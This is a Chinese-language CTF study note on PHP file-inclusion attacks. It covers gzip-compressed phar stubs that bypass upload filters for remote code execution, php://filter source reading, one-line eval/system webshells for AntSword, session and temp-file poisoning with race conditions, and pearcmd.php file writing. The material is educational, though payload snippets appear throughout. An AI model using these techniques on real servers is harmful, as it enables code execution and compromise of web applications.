include文件包含个人笔记及c底层调试

include+phar做题笔记

首先我们要准备好php8.2的环境+php-fpm8.2

看源代码:

又两个php代码:

update.php:

php 复制代码
<?php
session_start();
error_reporting(0);
​
$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
    'application/zip',
    'application/x-bzip2',
    'application/gzip',
    'application/x-gzip',
    'application/x-xz',
    'application/x-7z-compressed',
];
​
​
function filter($tempfile)
{
    $data = file_get_contents($tempfile);
    if (
        stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false ||
        stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false
    ) {
        return true;
    }
    return false;
}
​
if (!isset($_SESSION['dir'])) {
    $_SESSION['dir'] = random_bytes(4);
}
​
$SANDBOX = getcwd() . "/uploads/" . md5("supersafesalt!!!!@#$" . $_SESSION['dir']);
if (!file_exists($SANDBOX)) {
    mkdir($SANDBOX);
}
​
if ($_SERVER["REQUEST_METHOD"] == 'POST') {
    if (is_uploaded_file($_FILES['file']['tmp_name'])) {
        if (filter($_FILES['file']['tmp_name']) || !isset($_FILES['file']['name'])) {
            die("Nope :<");
        }
​
        // mimetype check
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
        finfo_close($finfo);
​
        if (!in_array($mime_type, $allowed_mime_types)) {
            die('Nope :<');
        }
​
        // ext check
        $ext = strtolower(pathinfo(basename($_FILES['file']['name']), PATHINFO_EXTENSION));
​
        if (!in_array($ext, $allowed_extensions)) {
            die('Nope :<');
        }
​
        if (move_uploaded_file($_FILES['file']['tmp_name'], "$SANDBOX/" . basename($_FILES['file']['name']))) {
            echo "File upload success!";
        }
    }
}
?>
​
<form enctype='multipart/form-data' action='upload.php' method='post'>
    <input type='file' name='file'>
    <input type="submit" value="upload"></p>
</form>

index.php:

php 复制代码
<?php
session_start();
error_reporting(0);
​
if (!isset($_SESSION['dir'])) {
    $_SESSION['dir'] = random_bytes(4);
}
​
if (!isset($_GET['url'])) {
    die("Nope :<");
}
​
$include_url = basename($_GET['url']);
$SANDBOX = getcwd() . "/uploads/" . md5("supersafesalt!!!!@#$" . $_SESSION['dir']);
​
if (!file_exists($SANDBOX)) {
    mkdir($SANDBOX);
}
​
if (!file_exists($SANDBOX . '/' . $include_url)) {
    die("Nope :<");
}
​
if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
    die("Nope :<");
}
​
@include($SANDBOX . '/' . $include_url);
?>
我们在这里的主要的限制是在update文件的白名单以及文件内容的过滤:

//文件类型的白名单
$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
    'application/zip',
    'application/x-bzip2',
    'application/gzip',
    'application/x-gzip',
    'application/x-xz',
    'application/x-7z-compressed',
];
//文件内容的过滤
if (
        stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false ||
        stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false
    ) {
        return true;

而且在最后的include的我们利用的点上还用了反斜杠以及basename()这个函数杜绝了伪协议的使用

复制代码
@include($SANDBOX . '/' . $include_url);

那目前只有深入底层才能解出此题:

当我们include一个文件的时候,会调用一个叫做 compile_filename 的方法:

整体思路就是我们需要:

比如我们生成了一个phar文件,然后把他打包成gz文件,当我们include这个gz文件

时,php会默认把这个gz文件解压回phar进行解析,比如我们用下面这个代码生成一个phar文件:

php 复制代码
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$stub = <<<STUB
<?php
system('whoami');
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

当我们第一次生成phar文件的时候:

但是我们再使用gzip的时候:

关键字已经完全消失了,而且我们此时的后缀也已经是gz了属于白名单中。

当我们include这个phar.phar.gz文件时,php会自动解压这个gz文件,所以最后相当于是直接include这个phar文 件,而这里有关键字:

复制代码
<?php
system('whoami');
HALT_COMPILER();
?>

直接rce了。

总结一下思路

首先我们写好一个demo.php:作用是生成一个包含我们的恶意代码的phar文件,我们为了绕过名单也为了绕过内容的过滤,我们必须还要进行gzip的压缩,这样文件的后缀就变成了gz而且文件内容也彻底被压缩,识别不出来内容。

当我们upload生成的这个exploit.phar.gz的文件时,因为绕过了内容和白名单,直接就会上传成功并且把md5哈希值保存在uploads里,然后我们再用index传入我们的exploit.phar.gz,他会检验uploads中文件是否哈希值相同,相同则会include:

include的时候因为是phar文件,会进到phar_compile_file 这个函数会判断是否为压缩包,为压缩包,则会自动解压,并且执行解压后的phar文件内容,也就执行了我们的恶意代码。

c底层的调试在vscode上进行:

文件包含漏洞(File Inclusion Vulnerability)

简要描述:

是一种因后端对用户输入的文件路径参数未严格校验,导致攻击者可控制 include/require 等函数包含任意文件的安全漏洞。

利用的四个函数

include()

require()

include_once()

require_once()

函数 是否会执行文件里的 PHP 代码 重复包含时行为 失败时(文件不存在或路径错)是否致命 在 LFI 利用中是否好用 典型翻车场景
include() 会执行 每次都重新包含(可重复包含) 只会抛出 Warning,继续执行下去 极好用(首选) 几乎无坑,是 LFI 读文件、getshell 的最佳选择
include_once() 会执行 同一个文件只包含一次 只会抛出 Warning,继续执行下去 好用(次选) 如果你想包含日志、Session 文件多次投毒,会失败,只执行第一次
require() 会执行 每次都重新包含(可重复包含) 抛出 Fatal Error,脚本直接停止 危险!慎用 目标文件不存在或路径稍微写错 → 直接白页 500,啥也读不到
require_once() 会执行 同一个文件只包含一次 抛出 Fatal Error,脚本直接停止 最危险!基本别用 同时继承了 require 的致命错误 + once 的只包含一次,双重debuff

可利用的伪协议:

例子:

原始代码:

file://

读出来是<? php info 然后被include当做php代码执行

file目前大多数是为了读源码用的

php://fileter:/

在这里:

复制代码
“include 会执行 PHP 代码” 的前提是:它读到的内容必须是“看起来像 PHP 代码”的字节流。
一旦你用 php://filter/read=convert.base64-encode 把真正的 PHP 代码提前变成了“一串看不懂的 Base64 文字”,include 就只能老老实实把这串文字吐到页面上,根本不会去执行。

所以在这里include类似echo的作用,直接输入了我们文件内容的base64编译后的内容。

php://input:/

zip://

这是一个简单的实例:读取到我们 接执行web.txt中的代码

这是一个实例:

其实是一样的,只不过我们的web是php的文件,而且我们的payload是system($_GET('abc'))来执行我们的系统命令包括读取flag。

蚁剑连接技巧:

第一种方式:测试 payload(如纯命令 ls)无法被 eval() 解析为 PHP,导致失败。

第二种方式:外层 eval() 强制将任何传入数据视为 PHP 代码执行,即使是命令也能通过 system()、exec() 等函数包装后运行。

蚁剑连接机制:

蚁剑连接 WebShell 时,会发送一个"心跳包"或初始化请求(通常是 POST 数据),用于测试脚本是否可用。

您的 WebShell 脚本很可能是一句话木马(如 <?php @eval($_POST['ou peng']); ?>),其中 ou peng 是连接密码(蚁剑添加数据时填写的"密码"字段)。

在连接测试阶段,蚁剑会发送类似 { "pass": "some_test_data" } 的 POST 数据,其中 pass 对应脚本中的 ou peng 键。

如果直接将测试数据(如 "ls" 或蚁剑的默认测试 payload)放入 $_POST['ou peng'],脚本会尝试执行它作为 PHP 代码:

  • 测试数据通常是系统命令 (如 ls、whoami)或蚁剑的后续操作指令(如文件列表查询),这些不是有效的 PHP 代码。

  • PHP 的 eval() 会解析它为无效语法,导致执行失败、返回空响应(空白页面),或抛出警告/错误(取决于 error_reporting 设置)。

结果:蚁剑 认为连接失败,无法初始化 Shell(虚拟终端、文件管理等模块无法加载)

为什么之前能连现在不行:
情况 Shell 实际代码(关键一行) 蚁剑里"数据"那一栏你填什么就能连 说明
1 <?php @eval($_POST['ou peng']); ?> 能连 $_POST['ou peng']
2 <?php assert($_POST['pass']); ?> 能连 $_POST['pass'] assert = eval,老版本 PHP 默认就是 eval
3 <?php ?> 能连 $_POST['z1'] 带 base64 解码的常见变种
4 <?php @$_POST['f']($_POST['ou peng']); ?> 能连 $_POST['ou peng'] 回调函数型一句话(f=system/eval 等)
5 <?php system($_POST['cmd']); ?> 能连 $_POST['cmd'] 直接执行系统命令,不走 eval
6 你现在这个 1.php <?php // 完全没有执行代码 ?> 或只有 echo $_POST['ou peng']; 不能连 收到数据后什么都不执行,当然连不上

例题1(包含session文件)

包含了4个页面,有登陆,注册,主页,和config,我们的想法是:注册一个名字包含payload的用户,然后包含session文件,session文件中有我们刚注册的用户名,从而实现代码的执行。

我们要利用的函数点在index.php下的include这里:

我们先注册一个用户名为我们的payload的用户,并且写入到数据库中:

但是我们发现传入action执行包含的时候并没有生效:

原因是因为base64解码的问题:(base64解码是每4位解码的而且去除一些非法字符的):

我们四位一解,去除掉非法字符后,就变成了s28(我们的payload),所以会乱码,因为s28P这个根本就没有任何实际意义,是乱码的,那么我们的后续payload的解码顺序也就被打乱了成为了乱码,那我们include识别不出来,肯定就无法执行了

解决这个问题很简单,只需要我们改变除去我们payload以外的内容,使其他的内容不影响我们的payload的解码就可以:我们可以输入一些其他的任何字符,将字符为变为100位以上,那么28就会变成100,这样就从s28变为s100就可以被解码了。

例题2(包含临时文件)

原题目:

index.php:

dir.php:

这是我们的脚本:

1、我们看到了dir.php中的include,那么这道题就是一道文件包含的题目,然后我们看到在dir.php中有临时文件的感觉,那我们就联想到可能走要包含临时文件的路。

2、既然要包含临时文件,那我们先要写入一个包含我们的payload的临时文件:我们利用php://协议下的string.strip_tags写入一个临时文件。

3、生成的临时文件都会在temp目录下,然后我们可以直接访问dir.php,因为为空的时候它会直接scandir,我们其实就可以看到生成的php[*]为后缀的临时文件。

4、临时文件中的内容就是我们先前写入的eval一句话木马,我们这里需要传入一个参数给到这个文件中,然后触发这个一句话木马。

还有另外一种解法:

是通过往phpinfo添加额外的数据,包括我们的payload,因为有着恶 意代码未执行,它会生成一个temp文件,然后因为我们在phpinfo中添加了几万个垃圾字符,在他还在加载的时候,我们用另外一个线程直接包含那个生成的临时文件,就可以

这是我们的另外一个包含temp文件的线程:

因为源代码不完整,无法解析完整的攻击链,只是一个可行的思路。

例题3(手动写cookie,创建session文件,在消除之前竞争包含文件)

前提是php开启了session_upload_progress,这样我们的session文件中就会有我们可控的值(可以是payload )

原代码很简单:

上传的html:

接收的demo.php:

我们要改包,手写一个cookie,使其生成一个session文件,:

session文件中的内容就是123,当然我们也可以写入我们payload,然后我们随便使用filter或者file去读取,包含就结束了。

这个题目的关键是竞争:

我们可以使用bp的两个intruder,一个是上传我们的session文件,一个是包含目标文件,因为有clean_up这个函数,肯定会有很多失败,我们两个重放2000次,与其做竞争,看是否能包含住。

例题4(在docker环境下的文件包含)

在docker中的日志文件,都是被链接到一个设备之中,我们在本地不好包含到:

我们强行包含:

我们总结一下方法:

1、包含日志文件(×)日志文件根本找不到

2、包含session(×)没有session

3、利用session_upload_progress来写入session文件包含(×)根本没开这个

4、利用phpinfo(√)

5、利用临时文件(√)

和例题三的第二种解法一样:我们使用phpinfo中包含payload的解法,然后使用另外一个线程去和temp删除去竞争,多试几次,可能会包含成功。

比较好的解法:(通用)

pearcmd.php:

页面源代码:

第一个if判断variables_orders中是否有S,即变量$_Sever;第二个判断是否开启了register_argc,第三个判断是否有request_info.argc,若不存在执行:

因为php的query_string会被_server('argv')去接收,而pear中获取命令行的参数也是通过_server('argv')来获取的,我们的目的是要创建一个文件,然后文件中包含了我们的payload,我们传入的参数中有我们包含的文件也就是/usr/loacal/lib/php/pearcmd.php,这个文件中有我们需要的config-create,默认创建一个文件,其接受两个参数,分别为内容和物理地址,我们要利用的函数在pear中传入,相当于给file的一个导航,让其找到那个函数。

总结:

1:底层调试环境pwndbg调试php8.2成功,vscode仍在调试中

2:利用phar及压缩文件绕过文件内容过滤和白名单实现成功。

3:利用docker容器环境还原后门,利用后门执行代码成功。

4:底层调试的环境和过程仍需要熟悉。

5:文件包含内容:利用fileter读取源码,日志文件包含成功,session文件包含成功

相关推荐
stevenzqzq1 小时前
android flow的背压策略
android·flow
REDcker2 小时前
RESTful API设计规范详解
服务器·后端·接口·api·restful·博客·后端开发
微学AI2 小时前
内网穿透的应用-告别局域网束缚!MonkeyCode+cpolar 解锁 AI 编程新体验
linux·服务器·网络
sunnyday04262 小时前
基于Netty构建WebSocket服务器实战指南
服务器·spring boot·websocket·网络协议
杨间2 小时前
《排序算法全解析:从基础到优化,一文吃透八大排序!》
c语言·数据结构·排序算法
\xin2 小时前
Fastjson 1.2.45仅JSON接口反序列化漏洞
安全·web安全·json
信创天地2 小时前
国产堡垒机部署实战:以奇安信、天融信为例构建运维安全三重防线
运维·安全
码农水水3 小时前
京东Java面试被问:HTTP/2的多路复用和头部压缩实现
java·开发语言·分布式·http·面试·php·wpf
你怎么知道我是队长3 小时前
C语言---未定义行为
java·c语言·开发语言